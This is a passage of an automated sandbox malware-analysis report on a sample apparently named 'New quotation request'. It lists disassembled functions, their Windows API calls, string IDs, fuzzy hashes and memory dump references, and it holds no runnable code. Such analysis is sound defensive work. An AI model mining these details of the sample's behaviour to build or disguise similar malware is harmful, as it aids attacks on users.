                                                                    • API ID: __wcsnicmp
                                                                    • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                                    • API String ID: 1038674560-1810252412
                                                                    • Opcode ID: dbbf4fcac0ac82de93e7c7e5f44606cafcb8448b58ecdedd82259a6318980baf
                                                                    • Instruction ID: bdb81021636b8cc4a13f700396f725b996a057cdaa976e53da1970efc74dc0b3
                                                                    • Opcode Fuzzy Hash: dbbf4fcac0ac82de93e7c7e5f44606cafcb8448b58ecdedd82259a6318980baf
                                                                    • Instruction Fuzzy Hash: AD31C530558705A7EA16FBA0ED13EEE77689F10794F604429F401B12D5EF516F24CE52
                                                                    Function 00324FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadCursorW.USER32(00000000,00007F8A), ref: 00325013
                                                                    • LoadCursorW.USER32(00000000,00007F00), ref: 0032501E
                                                                    • LoadCursorW.USER32(00000000,00007F03), ref: 00325029
                                                                    • LoadCursorW.USER32(00000000,00007F8B), ref: 00325034
                                                                    • LoadCursorW.USER32(00000000,00007F01), ref: 0032503F
                                                                    • LoadCursorW.USER32(00000000,00007F81), ref: 0032504A
                                                                    • LoadCursorW.USER32(00000000,00007F88), ref: 00325055
                                                                    • LoadCursorW.USER32(00000000,00007F80), ref: 00325060
                                                                    • LoadCursorW.USER32(00000000,00007F86), ref: 0032506B
                                                                    • LoadCursorW.USER32(00000000,00007F83), ref: 00325076
                                                                    • LoadCursorW.USER32(00000000,00007F85), ref: 00325081
                                                                    • LoadCursorW.USER32(00000000,00007F82), ref: 0032508C
                                                                    • LoadCursorW.USER32(00000000,00007F84), ref: 00325097
                                                                    • LoadCursorW.USER32(00000000,00007F04), ref: 003250A2
                                                                    • LoadCursorW.USER32(00000000,00007F02), ref: 003250AD
                                                                    • LoadCursorW.USER32(00000000,00007F89), ref: 003250B8
                                                                    • GetCursorInfo.USER32(?), ref: 003250C8
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Cursor$Load$Info
                                                                    • String ID:
                                                                    • API String ID: 2577412497-0
                                                                    • Opcode ID: 9bac4798a59032d773152c8764420437d0be4d3e1d22a4dc4c8ec42277d85646
                                                                    • Instruction ID: a2559251cc93b03a61d0604de0928d268dff9288133f3a4dc7fb26cf5bc3ebe0
                                                                    • Opcode Fuzzy Hash: 9bac4798a59032d773152c8764420437d0be4d3e1d22a4dc4c8ec42277d85646
                                                                    • Instruction Fuzzy Hash: 9231D2B1D483196ADF119FB69C899AEBFE8FF04750F50452AE50DE7280DA78A500CFA1
                                                                    Function 0033A1B9 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 0033A259
                                                                    • DestroyWindow.USER32(?,?), ref: 0033A2D3
                                                                      • Part of subcall function 002B7BCC: _memmove.LIBCMT ref: 002B7C06
                                                                    • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0033A34D
                                                                    • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0033A36F
                                                                    • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0033A382
                                                                    • DestroyWindow.USER32(00000000), ref: 0033A3A4
                                                                    • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,002B0000,00000000), ref: 0033A3DB
                                                                    • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0033A3F4
                                                                    • GetDesktopWindow.USER32 ref: 0033A40D
                                                                    • GetWindowRect.USER32(00000000), ref: 0033A414
                                                                    • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0033A42C
                                                                    • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0033A444
                                                                      • Part of subcall function 002B25DB: GetWindowLongW.USER32(?,000000EB), ref: 002B25EC
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
                                                                    • String ID: 0$tooltips_class32
                                                                    • API String ID: 1297703922-3619404913
                                                                    • Opcode ID: ea7470a0cce9857f0b87242a11000a2de1a24548d2bbfab09f544451067a9958
                                                                    • Instruction ID: 515c79250a6bd0b46a1ae443a7fdd44a55201ab7945bc3ebda07cacb5905a72a
                                                                    • Opcode Fuzzy Hash: ea7470a0cce9857f0b87242a11000a2de1a24548d2bbfab09f544451067a9958
                                                                    • Instruction Fuzzy Hash: 5371AC71640704AFD726CF28CC89FAA7BE9FB88304F45452DF985872A0C7B0E942CB52
                                                                    Function 00334392 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CharUpperBuffW.USER32(?,?), ref: 00334424
                                                                    • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0033446F
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharMessageSendUpper
                                                                    • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                                    • API String ID: 3974292440-4258414348
                                                                    • Opcode ID: 0cf13e15ee60fc3f46f108d8b059f3b81a094035a68bf117680483fad6f23aac
                                                                    • Instruction ID: 5f7a3220c4f6db6349a0cdbde2a40bd512e9a87168f72e9cc74220f2094b2f93
                                                                    • Opcode Fuzzy Hash: 0cf13e15ee60fc3f46f108d8b059f3b81a094035a68bf117680483fad6f23aac
                                                                    • Instruction Fuzzy Hash: 28919E742143019FCB05EF10C492BAEB7E5AF96390F058869F9925B7A2CB30FD59CB81
                                                                    Function 0033B7FE Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0033B8B4
                                                                    • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00336B11,?), ref: 0033B910
                                                                    • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0033B949
                                                                    • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 0033B98C
                                                                    • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0033B9C3
                                                                    • FreeLibrary.KERNEL32(?), ref: 0033B9CF
                                                                    • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0033B9DF
                                                                    • DestroyIcon.USER32(?), ref: 0033B9EE
                                                                    • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0033BA0B
                                                                    • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0033BA17
                                                                      • Part of subcall function 002D2EFD: __wcsicmp_l.LIBCMT ref: 002D2F86
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
                                                                    • String ID: .dll$.exe$.icl
                                                                    • API String ID: 1212759294-1154884017
                                                                    • Opcode ID: 28b7bbaa14a77ea5649d1e18f22b20953e2ac4c81a34230c5ce0e9bf51a2f71f
                                                                    • Instruction ID: e9574b9ccebfb864ce0802afacbea693d5a44fb3dfbecb9833788bc962e81478
                                                                    • Opcode Fuzzy Hash: 28b7bbaa14a77ea5649d1e18f22b20953e2ac4c81a34230c5ce0e9bf51a2f71f
                                                                    • Instruction Fuzzy Hash: 7761DF71900219FEEB16DF64CC81FBEBBACEB08710F108516FA15DA1D1DB75A990DBA0
                                                                    Function 0031DC1A Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetLocalTime.KERNEL32(?), ref: 0031DCDC
                                                                    • SystemTimeToFileTime.KERNEL32(?,?), ref: 0031DCEC
                                                                    • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0031DCF8
                                                                    • __wsplitpath.LIBCMT ref: 0031DD56
                                                                    • _wcscat.LIBCMT ref: 0031DD6E
                                                                    • _wcscat.LIBCMT ref: 0031DD80
                                                                    • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0031DD95
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 0031DDA9
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 0031DDDB
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 0031DDFC
                                                                    • _wcscpy.LIBCMT ref: 0031DE08
                                                                    • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0031DE47
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
                                                                    • String ID: *.*
                                                                    • API String ID: 3566783562-438819550
                                                                    • Opcode ID: 50edea8f028251d44188a7af02b17086dd8e5ad6439579458b9c1efaf2214148
                                                                    • Instruction ID: c4005ec864113ca6af2be57af66e3230342da492ccb665ab8560f30c04e3ba0d
                                                                    • Opcode Fuzzy Hash: 50edea8f028251d44188a7af02b17086dd8e5ad6439579458b9c1efaf2214148
                                                                    • Instruction Fuzzy Hash: 306159765042059FCB15EF20C8849EEB3E8BF8A314F04892AF98987251DB31E995CF92
                                                                    Function 00319C38 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 00319C7F
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                    • LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00319CA0
                                                                    • __swprintf.LIBCMT ref: 00319CF9
                                                                    • __swprintf.LIBCMT ref: 00319D12
                                                                    • _wprintf.LIBCMT ref: 00319DB9
                                                                    • _wprintf.LIBCMT ref: 00319DD7
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: LoadString__swprintf_wprintf$_memmove
                                                                    • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
                                                                    • API String ID: 311963372-3080491070
                                                                    • Opcode ID: e5cd52e426100b92a971f27dcb19abb04a7b6e13863b05aa70fc5983c40ad5c6
                                                                    • Instruction ID: eb2b272f983b421311352756b163ea8ac80d988cb940d7bf5e1896e7ae2c32cd
                                                                    • Opcode Fuzzy Hash: e5cd52e426100b92a971f27dcb19abb04a7b6e13863b05aa70fc5983c40ad5c6
                                                                    • Instruction Fuzzy Hash: 5751B431910509AECF1AEBE0DD56EEEB778AF08340F500566F505720A2DB316FA9CF61
                                                                    Function 0031A352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B9837: __itow.LIBCMT ref: 002B9862
                                                                      • Part of subcall function 002B9837: __swprintf.LIBCMT ref: 002B98AC
                                                                    • CharLowerBuffW.USER32(?,?), ref: 0031A3CB
                                                                    • GetDriveTypeW.KERNEL32 ref: 0031A418
                                                                    • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0031A460
                                                                    • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0031A497
                                                                    • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0031A4C5
                                                                      • Part of subcall function 002B7BCC: _memmove.LIBCMT ref: 002B7C06
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
                                                                    • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                    • API String ID: 2698844021-4113822522
                                                                    • Opcode ID: 90ceae1f2018c239dd6c833023047f80957a856f1a87785c38ccacec3c6b6545
                                                                    • Instruction ID: 165cf7736a737f02faa28d2eedc5bc1b2ad6fcfb070d36ea4bd69aaac8bddc73
                                                                    • Opcode Fuzzy Hash: 90ceae1f2018c239dd6c833023047f80957a856f1a87785c38ccacec3c6b6545
                                                                    • Instruction Fuzzy Hash: EB518E711147049FC705EF20C8819AAB7F8EF98758F00896DF896972A1DB31ED5ACF82
                                                                    Function 0030F8AA Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,002EE029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 0030F8DF
                                                                    • LoadStringW.USER32(00000000,?,002EE029,00000001), ref: 0030F8E8
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                    • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,?,002EE029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 0030F90A
                                                                    • LoadStringW.USER32(00000000,?,002EE029,00000001), ref: 0030F90D
                                                                    • __swprintf.LIBCMT ref: 0030F95D
                                                                    • __swprintf.LIBCMT ref: 0030F96E
                                                                    • _wprintf.LIBCMT ref: 0030FA17
                                                                    • MessageBoxW.USER32(00000000,?,?,00011010), ref: 0030FA2E
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
                                                                    • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                                    • API String ID: 984253442-2268648507
                                                                    • Opcode ID: 1327bd096a5db0f788ed318c494a64cee328a6fa27f29426edc102fa35e63eaa
                                                                    • Instruction ID: 183d179a350bc18c9d657d2deab512bb69d4cf9a295501338ce276c5b795c0e3
                                                                    • Opcode Fuzzy Hash: 1327bd096a5db0f788ed318c494a64cee328a6fa27f29426edc102fa35e63eaa
                                                                    • Instruction Fuzzy Hash: 08416B72910219AACF15FBE0CD96EEEB77CAF58340F500065F505B6092EB316F29CEA1
                                                                    Function 0033BA33 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 0033BA56
                                                                    • GetFileSize.KERNEL32(00000000,00000000), ref: 0033BA6D
                                                                    • GlobalAlloc.KERNEL32(00000002,00000000), ref: 0033BA78
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0033BA85
                                                                    • GlobalLock.KERNEL32(00000000), ref: 0033BA8E
                                                                    • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0033BA9D
                                                                    • GlobalUnlock.KERNEL32(00000000), ref: 0033BAA6
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0033BAAD
                                                                    • CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 0033BABE
                                                                    • OleLoadPicture.OLEAUT32(?,00000000,00000000,00342CAC,?), ref: 0033BAD7
                                                                    • GlobalFree.KERNEL32(00000000), ref: 0033BAE7
                                                                    • GetObjectW.GDI32(?,00000018,000000FF), ref: 0033BB0B
                                                                    • CopyImage.USER32(?,00000000,?,?,00002000), ref: 0033BB36
                                                                    • DeleteObject.GDI32(00000000), ref: 0033BB5E
                                                                    • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0033BB74
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                    • String ID:
                                                                    • API String ID: 3840717409-0
                                                                    • Opcode ID: 9174630da458fe190ec0d0d922bbbbc01a87d2c8eb129f4148faaf151855a40f
                                                                    • Instruction ID: f4f901b505991855402bbd5b146f113743ce9dc532ab751c773cc4cf709fd03e
                                                                    • Opcode Fuzzy Hash: 9174630da458fe190ec0d0d922bbbbc01a87d2c8eb129f4148faaf151855a40f
                                                                    • Instruction Fuzzy Hash: 09410975A00204EFDB129F65DC88EABBBBCEF89711F514069F909DB260DB309E41DB60
                                                                    Function 0031D899 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __wsplitpath.LIBCMT ref: 0031DA10
                                                                    • _wcscat.LIBCMT ref: 0031DA28
                                                                    • _wcscat.LIBCMT ref: 0031DA3A
                                                                    • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0031DA4F
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 0031DA63
                                                                    • GetFileAttributesW.KERNEL32(?), ref: 0031DA7B
                                                                    • SetFileAttributesW.KERNEL32(?,00000000), ref: 0031DA95
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 0031DAA7
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
                                                                    • String ID: *.*
                                                                    • API String ID: 34673085-438819550
                                                                    • Opcode ID: f63f709f7cfe62ca4ea7315e9522a8c3027434b89a19321be6d2a8cef4bc2e5a
                                                                    • Instruction ID: 3aaf4ac7d4fe862784481884a06e11b327513ca4f748bd311a0a1ff51f722f8a
                                                                    • Opcode Fuzzy Hash: f63f709f7cfe62ca4ea7315e9522a8c3027434b89a19321be6d2a8cef4bc2e5a
                                                                    • Instruction Fuzzy Hash: 8A8193715042459FCB29DF64C8449EEB7E8AF8E350F15892EF88ACB251E734ED84CB52
                                                                    Function 0033C1AC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B2612: GetWindowLongW.USER32(?,000000EB), ref: 002B2623
                                                                    • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0033C1FC
                                                                    • GetFocus.USER32 ref: 0033C20C
                                                                    • GetDlgCtrlID.USER32(00000000), ref: 0033C217
                                                                    • _memset.LIBCMT ref: 0033C342
                                                                    • GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0033C36D
                                                                    • GetMenuItemCount.USER32(?), ref: 0033C38D
                                                                    • GetMenuItemID.USER32(?,00000000), ref: 0033C3A0
                                                                    • GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0033C3D4
                                                                    • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0033C41C
                                                                    • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0033C454
                                                                    • DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0033C489
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
                                                                    • String ID: 0
                                                                    • API String ID: 1296962147-4108050209
                                                                    • Opcode ID: be024cebc55f77a41284781608c7a034e90945a55e5ebfe9c4749326cf6c55fc
                                                                    • Instruction ID: 36902af04788451f9f2073e09bea50354844a07ce210b68ec579676c715c9106
                                                                    • Opcode Fuzzy Hash: be024cebc55f77a41284781608c7a034e90945a55e5ebfe9c4749326cf6c55fc
                                                                    • Instruction Fuzzy Hash: 3E81AE70618301AFDB26DF25C8D4A6BBBE8FF88714F00592EF995A7291C770D904CB92
                                                                    Function 0032731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetDC.USER32(00000000), ref: 0032738F
                                                                    • CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 0032739B
                                                                    • CreateCompatibleDC.GDI32(?), ref: 003273A7
                                                                    • SelectObject.GDI32(00000000,?), ref: 003273B4
                                                                    • StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00327408
                                                                    • GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00327444
                                                                    • GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00327468
                                                                    • SelectObject.GDI32(00000006,?), ref: 00327470
                                                                    • DeleteObject.GDI32(?), ref: 00327479
                                                                    • DeleteDC.GDI32(00000006), ref: 00327480
                                                                    • ReleaseDC.USER32(00000000,?), ref: 0032748B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
